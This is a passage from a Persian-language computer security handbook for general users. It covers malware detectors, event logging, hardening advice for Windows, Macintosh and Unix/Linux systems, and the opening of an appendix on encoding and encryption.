متخصص نشان دهيد؛ بدون آنكه وي را به محل كـار           

 .ببريدخود 

هاي كاربردي كه     افراد زيادي خواهند توانست از برنامه      •
 .تنها بر روي يك دستگاه نصب شده استفاده كنند

توانند  مسئولين پشتيباني سيستمها با استفاده از آنها مي       •
 .دهنده را به آساني مديريت نمايند چندين سرويس

ز ابزارهاي دسترسي از راه دور اين امكان را براي مهاجمين ني          
كنند كه بتوانند تمـامي مـوارد ذكـر شـده را انجـام             فراهم مي 

ــد ــاي دسترســي از راه دور در  . دهن ــان ابزاره ــت مي در حقيق
و دربهــاي مخفــي ) pcAnywhereماننــد (كاربردهــاي مــذكور 

تفاوت عملكرد چنـداني  ) NetBus يا Back Orificeمثل (تراواها 
  .وجود ندارد

  آشكارگرهاي بدافزارها
كنيد، ويروس روزرساني مي افزار خود را به   ا نرم فرض كنيم شم  

دهيـد، از نامهـاي   و فايلهاي دريافتي را مورد بررسي قرار مـي      
نماييـد و يـك   كاربري و رمزهاي عبور مستحكم استفاده مـي    

 مناسب را نيز براي محافظت از سيستم خود بكار          ديوارة آتش 
  .بريدمي

املاً ايمن هـستيد؛    حال اگر سؤال شود با تمام اين كارها آيا ك         
. باز هم پاسخِ مثبت از اطمينان صد درصدي برخوردار نيـست          

حـل بـراي     هميشه اين احتمال وجود دارد كه قبل از ارائـه راه          
همچنـين  . يك اشكال، شما از همـان اشـكال آسـيب ببينيـد           

ممكن است هر از چندگاه كاري انجام دهيد كـه نتـوان آنـرا               
  .كاملاً ايمن دانست

هايي هستند كـه بـراي يـافتن          برنامه"  بدافزارها آشكارگرهاي"
 - صـرفنظر از چگـونگي نـصب آنهـا           -هاي مشكوك   برنامه
بعضي مواقع عملكرد   . دهند   شما را مورد بررسي قرار مي       رايانة

 تداخل دارد، زيرا هر دوي آنهـا         آنها با جستجوگرهاي ويروس   
افزارهاي مخرب موجـود در ديـسك را شناسـايي نمـوده،              نرم
هـاي كليـدي سيـستم بـصورت          كننـد كـه برنامـه       رسي مي بر

  .مخفيانه تغيير نكرده باشند

هـاي مرورگرهـا را     add-onهـا و    plug-inاين آشـكارگرها    
رساند   كنند و هرآنچه كه به سيستم شما آسيب مي          بررسي مي 

. نماينـد   و يا برخلاف قوانين محرمانگي است را شناسايي مـي         
ابزارهايي بـراي از بـين بـردن        ها داراي   افزار  نرمبرخي از اين    

  .شده نيز هستندبدافزارهاي شناسايي

  ثبت رخدادها
فايلهاي ثبت رخدادها ابزار مناسبي هستند كـه امنيـت رايانـة            

كنند امـا معمـولاً زيـاد مـورد توجـه قـرار               شما را تضمين مي   
هـا    فايلهاي ثبت روي ديسك قرار دارنـد و برنامـه         . گيرند نمي
معمـولاً پيـام هنگـامي نوشـته        .  بنويسند  توانند در آن پيام     مي
  .آيددهد يا اشكالي بوجود ميشود كه يك اتفاق رخ مي مي

  : و پنجم قانون بيست
هاي   قابليت ثبت رخدادهاي توابع سيستم و برنامه      

  .كاربردي بايد بصورت صحيح فعال باشند
  :توانند ثبت شوند عبارتند از هايي از وقايعي كه مي نمونه

 شن شد؛ رو رايانه •

 شخصي وارد سيستم شد؛ •
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 شود امـا رمـز عبـور         شخصي سعي داشت وارد سيستم     •
 وي اشتباه بود؛

 يك نامة الكترونيكي دريافت شد؛ •

خواسـت فرسـتاده شـود امـا      يك نامة الكترونيكي مـي     •
 ارتباط قطع شد؛

پـيش  ) اي  يا ارتباط شـبكه   (خطاهاي زيادي روي ديسك      •
 آمد؛

 شناسـايي و آنـرا       يك ارتبـاط غيرمجـاز را      ديوارة آتش  •
 مسدود كرد؛

جستجوگر ويروس بطور خودكار مجموعـة جديـدي از          •
  نمود؛downloadنشانهاي ويروس را 

ياب تمامي فايلهاي موجـود در سيـستم را        يك ويروس  •
 .بررسي و يك ويروس را شناسايي كرد

شـود،  بسته به برنامه و سيستمي كه برنامه روي آن اجرا مـي           
د از زياد شـدن حجمـشان پـاك         ممكن است فايلهاي ثبت بع    
 يكبار فايل ثبت جديـدي ايجـاد         شوند، يا اينكه هر چند وقت     

تر بـراي بررسـيهاي بعـدي همچنـان           گردد و فايلهاي قديمي   
عمدتاً در قسمتي از نام فايلهـاي ثبـت يـك تـاريخ وجـود               (حفظ شوند   

  ).دارد

افـزار كـاربردي يـك فايـل          بطور كلي براي هر سيستم و نرم      
توانيد ايـن فايـل را بـا          گاهي اوقات مي  . جود دارد ثبت مجزا و  

يك ويرايشگر مـتن بخوانيـد و گـاهي نيـز بـراي خوانـدن و                
  .بندي فايلها به ابزارهاي خاصي نياز خواهيد داشت قالب

در عين  . ثبتها بسيار مفيد هستند و بطور كلي بايد فعال باشند         
ره و  حال بايد مراقب باشيد كه آنها را بـراي فعاليتهـاي روزم ـ           

زيادي بـراي انجـام       عادي فعال نكنيد؛ زيرا سيستم بايد وقت        
ثبت و بررسي آنها صرف كند و حجمي از ديسك نيز توسـط             

  .گردد آنها اشغال مي

اگر بدانيد كه اقلام مـشروح فايلهـاي ثبـت چـه چيزهـايي را          
اي مرور كنيد تـا ببينيـد         دهند بايد آنها را بطور دوره     نشان مي 

در غير اينصورت ثبتها بايد     . ي رخ داده يا خير    آيا اتفاق غيرعاد  
ــه ــات   بگون ــوع اتفاق ــه درصــورت وق ــوند ك ــداري ش اي نگه

غيرطبيعي بتوانند راهنماييهايي براي كشف دقيقتر آنچـه كـه          
  .رخ داده باشند
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  فصل هشتم 
  نكات ويژة بسترهاي مختلف

   Windowsهاي شخصي مبتني بر  رايانه

  نقاط قوت و نقاط ضعف

يـا معادلهـاي     (x86 Intel پردازنـدة    Windowsامل  ع  سيستم
اي است كه تاكنون طراحي شـده         رايجترين سيستم رايانه  ) آن

افزارهاي كاربردي آن     عامل و نرم    قابليتهاي اين سيستم  . است
از ديدگاه يك كـاربر بـسيار جـذاب هـستند و تعـداد زيـادي                

ان افـزار رايگ ـ     و نـرم   sharewareافزار    افزار تجاري، نرم    نرم
اگرچه مشابه هر سيستم ديگر در اينجا       . براي آن موجود است   

شوند، امـا متخصـصين     هم افراد متخصص به سختي پيدا مي      
زيادي با سطح دانش قابل قبول براي كار بـا ايـن سيـستمها              

افزار بـا هـم       همچنين رقباي زيادي در بعد سخت     . وجود دارند 
 كننـد كـه ايـن خـود باعـث تنـوع محـصولات و               رقابت مـي  

  .قيمتهاي نسبتاً پايين آنها شده است

Windows            از نظر امنيتـي وضـعيت چنـدان جـالبي نـدارد  .
 با ملاحظـة مـسائل امنيتـي ارتباطـات          ١١٧عاملهستة سيستم 

هاي جديدتر آن     اي طراحي نشده بود و هرچند در نسخه       شبكه
)Windows 2000 و Windows XPبه بسياري از اين موارد ) ... و

ا هنوز ايمني لازم وجود ندارد و تغييرات اخير         پرداخته شده، ام  
كردنـد    تـر اسـتفاده مـي        كاربراني كه از سيستمهاي قديمي       به

تا همين اواخر مايكروسـافت توجـه   . كمك اندكي نموده است   
البته درحال حاضر اين شـرايط  . زيادي به مقولة امنيت نداشت 

انـد، بـويژه آنكـه ايـن شـركت توجـه خـود را بـه                 تغيير كرده 
ــرم  ــود در ن ــانه اشــكالات موج ــر افزارهــاي چندرس اي و ديگ

  .عاملهاي خود معطوف داشته است پذيريهاي سيستم آسيب

افزارها معمولاً باعث بـالا       يافتة سيستمها و نرم   عملكرد توسعه 
در بسياري موارد بمنظور  . شودسازي آنها مي  رفتن هزينة ايمن  

ر، سيـستمها داراي    كار از ابزا    آسان كردن استفادة كاربران تازه    

                                                                  
117  O.S. Kernel 

اند كه آنها را    چندين زيرسيستم و قابليتهاي بسيار زيادي شده      
پذيريها و نيز تعدد   به دليل كثرت آسيب   . پذير كرده است    آسيب
هاي مورد استفاده، دهها هزار رايانة شخصي مبتنـي بـر             رايانه

Windows    نويساني كه بـدافزارهايي       به اهداف اصلي برنامه
. كردنـد تبـديل شـدند        تـروا منتـشر مـي      مثل ويروس، كرم و   

 بـسيار كاربرپـسند   Windowsواسطهاي گرافيكي كـاربر در   
اكنون ميليونها نفر با دانش فنـي انـدك توانـايي             هستند و هم  

اين روش مبتنـي بـر كـاربر وقتـي در         . استفاده از آنها را دارند    
گيرد سيـستمهاي مبتنـي     پذيريهاي مذكور قرار مي     كنار آسيب 

  .كند  را مستعد بروز مشكلات امنيتي ميWindowsبر 

  چگونه از خود محافظت كنيم

 قابل  Windowsتمامي مطالب اين كتاب براي سيستمهاي       
اعمال است و كاربراني كه نگران مسائل امنيتي هـستند بايـد         

  .شده را جدي بگيرندهاي ارائه تمام توصيه

  افزار انتشار نرم

 ـ         داشـتن    روز نگـه    هاگر پهناي باند كافي داريـد، بـراي ب
هـا  ServicePackعامل خود با آخرين نسخة        سيستم

در .  استفاده كنيـد ١١٨روزرساني مايكروسافت از پايگاه به  
هــاي امنيتــي منتــشرشده بــراي  غيراينــصورت وصــله

هـا  ايـن وصـله   ( را بكار بگيريد     Windowsروزرساني    به
). كنند ها پهناي باند كمتري اشغال ميService Packنسبت به 

ــه ا ــر ب ــه   گ ــاه ب ــق پايگ ــاني از طري ــاني روزرس روزرس
ــست مــي  ــذير ني ــان امكانپ ــد  مايكروســافت برايت تواني

ــسته ــه  ب ــاي ب ــز   ه ــاني را از مرك  downloadروزرس
  . دريافت كنيد١١٩مايكروسافت

آورندگان خدمات بتواننـد       شما يا ساير فراهم    ISPشايد  
 و روي   downloadهـاي منتـشرشده را      روزرسـاني به

تـوجهي    اگرچه منـابع قابـل    . توزيع كنند ديسك فشرده   
براي اينكار مورد نياز است، اما يك ابزار براي مديريت          

 در قالـب خـدماتي بـه نـام          Windowsروزرسـاني     به
Software Update Servicesعامل  براي سيستم

Windows 2000 در پايگــاه زيــر قابــل دسترســي 
  :است
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http://www.microsoft.com/windows2000
/windowsupdate/sus/ 

  حسابهاي كاربري

 Windows NT ،Windows 2000در سيستمهاي 
ــت  Windows XPو  ــه از قابلي ــدكاربري ك  ١٢٠چن

كنند بايد اطمينان حاصل كنيد كـه هـيچ           پشتيباني مي 
. حساب كاربري غير ضروري در آنها ايجاد نشده اسـت         

علاوه بر آن مطمئن شويد كه تمامي كاربران يك رمز          
 بر اساس آنچه كه در فصل سوم همين         -عبور مناسب   

بـه  . انـد    براي خـود برگزيـده     -بخش توضيح داده شد     
كاربران بايد تنها امتيازاتي كه مورد نياز آنها اسـت داده           

بعنوان مثال حتي اگر تنها يـك دسـتگاه توسـط            . شود
كاربر اصلي خود راهبري شود، اين كاربر براي كارهاي         

امتيازات راهبري استفاده   روزمره و معمولي خود نبايد از       
  .كند

  اشتراك فايل

اگر از قابليتهاي اشتراك فايل يا اشتراك خدمات چاپ         
. انـد كنيد مطمئن شويد كه غيرفعـال شـده         استفاده نمي 

 و پايگـاه  Windows Helpمراحل انجـام اينكـار در   
رسـاني پـشتيباني مايكروسـافت قابـل دسـترس            اطلاع
:  را جـستجو كنيـد     بـراي اينكـار عبـارت زيـر       . باشد  مي

"disable file sharing xx "  كـه در آنxx  نـسخة 
اگـر از   . 2000 يا   XPباشد؛ مثلاً     عامل شما مي    سيستم

كنيد مطمئن شويد كـه هـيچ       اشتراك فايل استفاده مي   
  .امتياز غيرضروري در آن فعال نيست

  ١٢١سيستم فايل

 كــــه در FAT32 و FATسيــــستمهاي فايــــل  
Windows   گيرند بطـور كامـل       ر مي  مورد استفاده قرا

ايمن نيستند؛ بخصوص اگر از اشـتراك فايـل اسـتفاده           
چنانچه دسترسي به فايلها از طريق شبكه انجـام         . كنيد
 NTFSشود، درصورت امكان بايد از سيستم فايـل      مي

توجه داشته باشيد در مواردي كه دستگاه      . استفاده گردد 
عامـل  توانـد بـا بـيش از يـك سيـستم          رايانه شما مـي   

اندازي شود يا در شرايطي كه لازم است به ديـسك            راه
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عامل ديگر دسترسي داشـته باشـيد           سخت يك سيستم  
  . استفاده نماييدNTFSتوانيد از  نمي

  ١٢٢خدمات سيستمي

در برخي از سيستمها تمـامي قابليتهـاي شـبكه فعـال            
ها بتواند بـه آسـاني برقـرار          هستند تا ارتباط ميان رايانه    

 خـود شـبكه نداريـد خـدماتي كـه           اگر در شركت  . شود
  .كاربرد ندارند را غيرفعال نماييد

  ديوارة آتش

افـزاري روي     افـزاري يـا نـرم        سـخت  ديوارة آتـش  يك  
هـاي رايگـان ايـن        نـسخه . سيستم خـود نـصب كنيـد      

روز   را بـه ديـوارة آتـش  . باشـد   افزار در دسترس مـي      نرم
اي    بگونـه  ديـوارة آتـش   مطمئن شـويد كـه      . نگهداريد

ه كه درصورت وقوع هر اتفاق غيرعـادي بـه          تنظيم شد 
  .دهد شما هشدار مي

  ضدويروس

افزار ضدويروس نيز روي دستگاه خـود نـصب           يك نرم 
اگر نتوانستيد نسخة رايگان آنرا بيابيد بايد هزينة         . كنيد

برخـي از فروشـندگان بـر       . نسخة تجاري آنرا بپردازيـد    
و روزرساني روزانة ضدويروسهاي خـود تأكيـد دارنـد            به

روزرســاني هفتگــي آنهــا را پيــشنهاد  برخــي ديگــر بــه
روزتر باشد بهتـر      افزار شما به    طبيعتاً هرچه نرم  . كنند  مي
  .تواند از سيستم حفاظت كندمي

  آشكارگرهاي بدافزارها

هـايي وجـود دارنـد كـه سيـستم را بـراي انـواع                 برنامه
  :كنند، مثلافزارهاي مخرب جستجو مي نرم

Pest Patrol 
(http://www.pestpatrol.com) 

Lavasoft 
(http://lavasoftusa.com/software/adawareplus/) 

SpybotSD 
(http://www.safer-networking.org) 

هـاي فـوق رايگـان هـستند و انـواع مختلـف               همگي برنامـه  
  .نمايند روي سيستم را شناسايي مي مخربهايافزار نرم
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  بررسي خلاصة امنيتي

فنـي هـستيد و هـيچ سـازماني         اگر شما يك كاربر غير    
توانيد به پيشنهادات     براي كمك به شما وجود ندارد مي      

Microsoftبراي كاربران خانگي نگاهي بياندازيد :  

http://www.microsoft.com/security/home 
http://www.microsoft.com/protect/ 

توانيد از اين     اگر متخصص فناوري اطلاعات هستيد مي     
  :ساني استفاده كنيدر پايگاه اطلاع

http://www.microsoft.com/technet/security 
 را كـه    MBSA١٢٣توانيد  اگر سيستم جديدي داريد مي    

بــراي ارائــه خــدمات پــشتيباني بــه سيــستمهاي      
Windows 2000 و Windows XP  طراحي شـده 
  .اندازي كنيد روي آن نصب و راه

  Macintoshهاي  رايانه

  نقاط قوت و نقاط ضعف

عامل آنها كمتر از  و سيستمApple Macintoshهاي رايانه
Windows      رايانة شخصي پذيراي مشكلات امنيتي هستند  .

 نسبت بـه    Macبعلاوه از آنجا كه تعداد كاربران دستگاههاي        
هاي شخصي كمتر است مهاجمان علاقـة كمتـري بـه             رايانه

پذيري  شايد بزرگترين آسيب. دهند خرابكاري در آنها نشان مي   
كنند هميشه ايمـن       تصور مي  Macا اين است كه كاربران      آنه

هستند و هيچگـاه مـورد آزار و اذيـت كـسي قـرار نخواهنـد                
 MacOS X كــه پــيش از MacOSسيــستمهاي . گرفــت

 بر MacOS X. عامل مناسبتري داشتند بوجود آمدند سيستم
 است و بايد با ديد يـك سيـستم   FreeBSD UNIXاساس 
UNIX      امنيتي مناسب طراحي شده به      خاص كه با ملاحظات

 اسـت  UNIXاين مـورد در بخـش بعـدي كـه در مـورد        (آن نگاه كرد    
 خدمات سيستمي MacOS Xدر هستة مركزي ). بررسي شده

  .متعددي تعبيه شده اما همة آنها غيرفعال هستند

  چگونه از خود محافظت كنيم
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  افزار انتشار نرم

ي هـا بـرا     اطمينان حاصل كنيـد كـه از تمـامي وصـله          
ــرده  ــتفاده ك ــستم اس ــدحفاظــت از سي ــاه . اي ــه پايگ ب

ــد و http://www.apple.comرســاني  اطــلاع  بروي
مشابه سيستمهاي  .  كليك كنيد  Supportروي گزينة   
Windows             اينجا هـم ايـن احتمـال وجـود دارد كـه ،

نشدة شما بعد از تنها چند ساعت يا چند             سيستم اصلاح 
گـر روي آن يـك    روز مورد نفوذ قرار بگيرد؛ خـصوصاً ا       

  .ارتباط دائمي شبكه داشته باشيد

  حسابهاي كاربري

مطمئن شويد تمامي حسابهاي كابري كـه مـورد نيـاز           
خصوصاً بررسي كنيد   . اندنيستند غيرفعال يا حذف شده    

 بـدون داشـتن رمـز عبـور         guestكه حساب كاربري    
امتيازات راهبري را براي حسابهايي كـه از        . فعال نباشد 
كنيد محـدود سـازيد و از حـساب           ستفاده مي آنها زياد ا  

كاربري راهبر براي كارهاي روزمـره كـه بـدون امتيـاز          
  .راهبري قابل انجام هستند استفاده نكنيد

  اشتراك فايل

. كنيد آنرا غيرفعال سازيد     اگر از اين قابليت استفاده نمي     
شـده  در غيراينصورت مطمئن شويد كه امتيازات تعيـين  

  .قرار دارنددر حداقل سطح ممكن 

  خدمات

اگـر  . خدماتي كه مورد نياز نيـستند را غيرفعـال سـازيد        
كنيد يادتان باشد كه پـس        آنها را بطور موقتي فعال مي     

  .از اتمام كار مجدداً همگي را غيرفعال نماييد

  افزارهاي كاربردي جديد نرم

خـصوصاً  (افزارهاي كاربردي جديد مرتبط بـا شـبكه           نرم
ممكـن اسـت در     ) انـد    طراحـي شـده    UNIXآنهايي كه براي    

اند  ها طراحي شدهMacOS Xسيستمهايي كه قبل از 
ايـد    افزاري نصب كـرده   اگر چنين نرم  . پذير باشند   آسيب

  .مراقب اين موضوع باشيد
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  ديوارة آتش

افـزاري روي     افـزاري يـا نـرم        سـخت  ديوارة آتـش  يك  
مطمـئن  . روز نگهداريد سيستم خود نصب كنيد و آنرا به   

اسـت كـه      اي تنظـيم شـده       بگونه ديوارة آتش  شويد كه 
درصورت وقوع هر اتفـاق غيرعـادي بـه شـما هـشدار             

  .دهد مي

  ضدويروس

افزار ضدويروس نيز روي دستگاه خـود نـصب           يك نرم 
اگر نتوانستيد نسخة رايگان آنرا بيابيد بايد هزينة         . كنيد

برخـي از فروشـندگان بـر       . نسخة تجاري آنرا بپردازيـد    
وزانة ضدويروسهاي خـود تأكيـد دارنـد و         روزرساني ر   به

روزرســاني هفتگــي آنهــا را پيــشنهاد  برخــي ديگــر بــه
روزتر باشد بهتـر      افزار شما به    طبيعتاً هرچه نرم  . كنند  مي
  .تواند از سيستم حفاظت كندمي

UNIX ،Linuxو سيستمهاي مشابه ،  

  نقاط قوت و نقاط ضعف

لــوم  از ابتــداي پيــدايش در محيطهــاي عUnixسيــستمهاي 
دهنـده     و سرويس  ١٢٤ايستگاه كاري اي و فيزيكي بعنوان     رايانه

بكـار  ) هم براي خدمات سيستمي و هم بـراي محاسـبات چنـدكاربري           (
 و  Windowsرفتند و طي دهـة گذشـته از سيـستمهاي            مي

Macintosh -     هـاي كـاري    كه در محيطهاي ديگر ايستگاه
بيـت  بـا محبو  .  تا حدودي پيشي گرفتند    - بودند   ١٢٥كاربرهتك

 اين پديده گسترش يافت؛ زيـرا از يـك    Linuxرو به افزايش    
سو اين سيستم بسيار جالـب و جـذاب بـود و از سـوي ديگـر         

 مــتن برنامــة آن بــصورت رايگــان در Windowsبــرخلاف 
اين موضـوع در كـشورهاي درحـال        . اختيار عموم قرار گرفت   

ها واقـع   يافته در كانون توجه     توسعه بيش از كشورهاي توسعه    
افزار در كشورهاي درحـال توسـعه         د؛ چراكه هزينة تهية نرم    ش

. باشـد در مقايسه با متوسط سطح درآمد افراد بسيار بالاتر مي          
پـذيري آن و نيـز        تـوان بـه انعطـاف      مي UNIXاز نقاط قوت    

افزارهايي كه توسط كاربران و شـركتها طـي ايـن سـالها              نرم
  .اند اشاره كردبراي آن توليد شده
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 با كاربرپـسند بـودن      UNIXپذيري    رت و انعطاف  متأسفانه قد 
درنتيجـه زمـاني كـه ايـن        . همراه نشد ) كار  از ديد يك كاربر تازه    (

ــر متخــصص   ــاربران غي ــراي ك ــستمها ب ــوان UNIXسي  بعن
رونـد، وجـود كارمنـدان قـوي بـراي            ايستگاه كاري بكار مـي    

در هر حـال پايـه و اسـاس         . شود  پشتيباني سيستمها لازم مي   
تجربـه و     نوز پيچيده است و براي يك كاربر بي       اين سيستم ه  

كار احتمال زيادي وجود دارد كـه راههـاي ورود را بـراي               تازه
 UNIXاگرچـه سيـستمهاي     . يك خرابكاري امنيتي باز گذارد    

نسبتاً عاري از ويروس هستند ولي پـذيراي آخـرين كرمهـا و             
باشند، و لـذا ايـن مـوارد هنـوز جـزء              ترواهاي منتشر شده مي   

  .شوندت بالقوه آنها محسوب ميمشكلا

  چگونه از خود محافظت كنيم

 فصل گذشـته ذكـر شـدند در مـورد           ۷تمامي عناويني كه در     
 و سيستمهاي مـشابه آنهـا نيـز         UNIX  ،Linuxسيستمهاي  

صادق هستند و درصـورتيكه بخواهيـد رايانـة خـود را واجـد               
 اين بخـش روي . امنيت نسبي كنيد بايد به اين موارد بپردازيد   

افـرادي كـه   . كـاربره متمركـز اسـت   ايستگاههاي كاري تـك   
ها هستند بايد بخش پنجم ايـن كتـاب           دهنده  مسئول سرويس 
  .را مطالعه كنند

 UNIXانواع مختلف 

، UNIX عاملهاي مختلـف شـبيه      وجود سيستم به دليل   
از پيش نصب شدة     مكانيزمهايبسياري از فروشندگان    

نـابراين بـسيار    ب.  مخصوص به خود را دارنـد      ١٢٦امنيتي
 كـه   Unixمهم است كه راهنماي عملي آن نگارش از         

نـام چنـدين    . كنيد را مطالعـه نماييـد     از آن استفاده مي   
رساني، و گروه پـست الكترونيكـي         كتاب، پايگاه اطلاع  
 اختـصاص دارنـد در بخـش        Unix مفيد كه به امنيـت      

  .ضمائم كتاب آمده است

  افزار انتشار نرم

هـاي    روز گـرددو تمـامي وصـله        يـد بـه   افزار حتماً با    نرم
جزئيات اينكه بستة   . امنيتي سريعاً روي آن نصب شوند     

روزرساني را از كجا بايـد تهيـه كـرد و چگونـه آنـرا                 به
  .اعمال نمود در سيستمهاي مختلف متفاوت است

                                                                  
126  Pre-Installed Security Mechanisms 
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  حسابهاي كاربري

بالاترين سطح دسترسـي را دارد  ) uid 0 (١٢٧كاربر ريشه
بـر  . مي ابعاد سيستم را تغيير دهد     تواند تما   و معمولاً مي  

همــين اســاس حفاظــت از حــساب كــاربري ريــشه و  
فرآيندهايي كه اجراي آنها توسط اين حـساب كـاربري          

 بـشمار   UNIXامكانپذير است از مهمترين ابعاد امنيت       
ــي از بكــارگيري حــساب كــاربري ريــشه در    . رودم

فعاليتهاي روزمـره خـودداري كنيـد و بـراي اطمينـان            
مكان ورود به سيستم را بـا اسـتفاده از حـساب            بيشتر ا 

هنگاميكـه بايـد از ايـن       . كاربري ريشه غيرفعال سازيد   
 superuserحساب كاربري استفاده كنيـد از دسـتور         

)su  هاي ديگر مانند    يا نمونهsudo (  استفاده كنيد تا حـساب
كاربري مورد استفاده را به حساب كاربري ريشه تبديل         

  .نماييد

فهرستهاي تم بيش از يك كاربر داريد از        اگر روي سيس  
 استفاده كنيد تا بتوانيد دسترسيهاي      ١٢٨كنترل دسترسي 

  .كاربران را محدود نماييد

هرجا كه امكان آن وجود دارد با يك حـساب كـاربري            
اي  غيــر از حــساب كــاربري ريــشه از خــدمات شــبكه 

  .استفاده كنيد

باز و  افزار جديد را      هيچگاه با حساب كاربري ريشه، نرم     
افزارها در محيطي كـه بـا         معمولاً نرم . يا كامپايل نكنيد  

chroot   شوند تا از شـما     شويد كامپايل مي     وارد آن مي
  .در برابر انواع مختلف ترواها محافظت نمايند

نصب ديسكهايي كه از راه دور مورد استفاده قـرار          
  گيرند مي

اگر براي دسترسي بـه ديـسك از راه دور از روشـهاي             
بـا اسـتفاده   (كنيد     دسترسي از راه دور استفاده مي      مختلف
بـراي اينكـار    ) UNIXهاي شخصي و يـا سيـستمهاي          از رايانه 

ــين و درصــورت امكــان   ــور مناســبي تعي رمزهــاي عب
افزارها به آنها نيازمندند را       دسترسي به فايلهايي كه نرم    

  .تنها به همان اندازة مورد نياز محدود نماييد

                                                                  
127  Root User 
128  Access Control List 

  خدمات سيستمي

 داراي خـــدمات UNIXي از دســـتگاههاي بـــسيار
دهنــدة  اي هــستند، مثــل ســرويس سيــستمي گــسترده

FTPدهنــدة پــست  دهنــدة وب و ســرويس ، ســرويس
در بسياري مـوارد ايـن خـدمات بـصورت          . الكترونيكي

تمامي خدمات مبتني بر شبكه     . فرض فعال هستند    پيش
. گيرنـد را غيرفعـال سـازيد        كه مورد استفاده قرار نمـي     

كنند چـون ايـن خـدمات وجـود           دم تصور مي  بعضي مر 
 حتـي اگـر تخـصص       -دارند بايد از آنها استفاده نمـود        

اين اشتباه  . فني براي مديريت امنيت آنرا نداشته باشند      
كننـده  بزرگي است و اين خدمات نبايد بدون دليل قانع        

و پشتيباني فني كافي در ايستگاههاي كـاري كـاربران          
  .اندازي شده باشند راه

 inetdاي با استفاده از فرمان        ري از خدمات شبكه   بسيا
ــا  ــه فعاليــت مــي xinetdي ــد  شــروع ب فايلهــاي . كنن
 مورد استفاده قرار    daemonبندي كه توسط اين       پيكر
اند را بررسي كنيد و هريك از خـدماتي كـه لازم             گرفته

اي ديگـر كـه       خدمات شـبكه  . نداريد را غيرفعال نماييد   
كننـد در     روع به فعاليت مـي    اندازي سيستم ش  هنگام راه 

 و يــا etc/rc*.d/ يــا etc/init.d/فايلهــايي در مــسير 
/etc/rc   و /etc/rc.local  بـه خـدماتي   . اند   قرار گرفته

كه ممكن است اطلاعات سيستم يا كاربر آنرا در اختيار          
 توجـه ويـژه     - fingerd مثـل    -ديگران قـرار دهنـد      

  .داشته باشيد

ايـد    اندازي نمـوده    ه را را  ١٢٩ ناشناس FTPاگر سرويس   
هرگـــز فايـــل . روزرســـاني نماييـــد حتمـــاً آنـــرا بـــه
/etc/passwd را در محــيط FTP تبــادل نكنيــد  .

 و  root  ،uucp  ،binاطمينان يابيد حسابهاي كاربري     
ديگر حسابهايي كه در اختيار كاربر خاصي قرار ندارنـد          

 كــه شــامل فهرســت   - etc/ftpusers/در فايــل 
 - اسـتفاده كننـد      FTPوانند از   ت  كاربراني است كه نمي   
ــند  ــته باش ــود داش ــب . وج ــه  مراق مجــوز دسترســي ب

از .  باشيد FTP آنها در محيط     ١٣١مالكيت و   ١٣٠ها شاخه
 توسط مـسيرهاي ورودي و انجـام        downloadانجام  

                                                                  
129  Anonymous FTP 
130  Directory Permission 
131  Ownership 
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upload       ،بوسيله مسيرهاي خروجي جلوگيري نماييـد 
 خـود را    FTPو بالاخره بطور منظم ثبتهاي سـرويس        

  .ار دهيدمورد بررسي قر

  ديوارة آتش

ــستم  ــد UNIXهــر سي ــوارة آتــش باي ــر دي ــي ب  مبتن
 ١٣٣هـا تـصفية بـسته    مخصوص خود را براي      ١٣٢ميزبان

از مستندات فروشنده استفاده كنيـد تـا     . اندازي نمايد   راه
 ديـوارة آتـش  تشخيص دهيد كه آيا سيستم شما داراي   

تـوان از آن بـراي        است يا خير، و اگر هست چگونه مي       
معمولاً ابزارهـاي پيكربنـدي     . استفاده نمود اين منظور   

ــوارة آتــش شــامل   iptables و ipfw ،ipchainsدي
بنـدي    اي پيكـر     بايد بگونه   آتش هاي  هديواراين  . هستند

هـا را    فرض راه عبور تمـامي بـسته        شوند كه بطور پيش   
مسدود كنند و تنها به آنهايي مجـوز عبـور دهنـد كـه              

  .ايدستهمقصد آنها خدماتي است كه شما خوا

  فرض حسابهاي كاربري پيش

 داراي چنــدين حــساب Unixبــسياري از سيــستمهاي 
فــرض هــستند كــه بــراي فرآينــدهاي  كــاربري پــيش

 bin  ،daemonجداگانه يا مجوز مالكيت فايلها مانند       
اطمينـان  . گيرند   و غيره مورد استفاده قرار مي      uucpو  

شـدة  حاصل كنيد كه تمامي رمزهاي عبـور رمزگـذاري        
شوند    شروع مي  "*"سابهاي كاربري مذكور با علامت      ح

تـوان بـه ايـن      و بنابراين بـا هـيچ رمـز عبـوري نمـي           
همينكـه حـساب    . حسابهاي كاربري دسترسي پيدا كرد    

كاربري ريشه يك رمز عبور معتبر داشته باشـد كفايـت     
كنـد؛ و لازم نيـست كـسي بتوانـد وارد حـسابهاي             مي

لـزوم حـساب كـاربري      اگرچه درصـورت    (كاربري ديگر گردد    
 دسترسي به حسابهاي ديگر suتواند با استفاده از دستور    ريشه مي 

  ).را فراهم كند

  آشكارگرهاي بدافزارها

افزارهـاي مخـرب      ابزارهاي زيادي براي شناساندن نرم    
تـرين آنهـا      يكي از قديمي  .  وجود دارند  Unixبه راهبر   

Tripwire    افزارهاي مهـم   كند نرم    است كه تحقيق مي

                                                                  
132  Host-Based Firewall 
133  Packet-Filtering 

 حياتي بطور مخفيانه تغيير داده      و ديگر فايلهاي  سيستم  
  .اند يا خير شده
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  ۱ضميمة 
  آشنايي با كدگذاري و رمزگذاري

هـاي    فنـوني هـستند كـه رشـته      ١٣٥رمزگذاري و   ١٣٤كدگذاري
كدگـذاري  . كنند  حروف را به قالب و شكل ديگري تبديل مي        

در دنياي رايانه تغيير شـكلي اسـت كـه ظـاهر پيـام را تغييـر          
دهد، بطوريكه نتيجة آن معيارهاي خاصي را برآورده سازد؛       مي
گذاري نيز نوعي تغيير شـكل اسـت كـه بـراي مخفـي              رمزو  

  .رود كردن محتويات پيام بكار مي

  كدگذاري
دهد تا برخي از معيارهاي       كدگذاري قالب موضوع را تغيير مي     

پـذير اسـت؛        ايـن فرآينـد برگـشت     . مورد نظر را برآورده سازد    
 ١٣٦كدگـشايي توانـد       ي كه قالب كدگذاري شده بعداً مي      ا  بگونه

  .شود تا به شكل اصلي خود تبديل گردد

  فرآيند كدگذاري

خواهيد پيامي ارسال كنيد كـه بـصورت يـك            فرض كنيد مي  
  :جملة عادي انگليسي است

Security is important. 

اما در ارسال محدوديتي وجود دارد و آن اين اسـت كـه شـما               
، ۵، ۴، ۳، ۲، ۱، ۰: د ارقام دهدهي را ارسال كنيـد     تواني  تنها مي 

پس بايد يك تابع نگاشت تهيه كنـيم كـه بتوانـد    . ۹، ۸،  ۷،  ۶
خواهيم ارسال كنيم را به اعداد دهدهي تبديل كنـد،          آنچه مي 

